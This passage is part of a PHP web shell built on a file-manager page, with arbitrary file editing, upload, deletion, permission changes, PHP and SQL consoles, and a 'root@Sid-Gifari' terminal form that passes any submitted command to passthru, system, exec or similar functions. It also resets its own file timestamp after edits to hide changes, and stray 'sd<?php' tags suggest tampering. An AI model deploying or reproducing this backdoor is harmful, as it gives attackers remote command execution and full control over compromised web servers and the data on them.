I4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
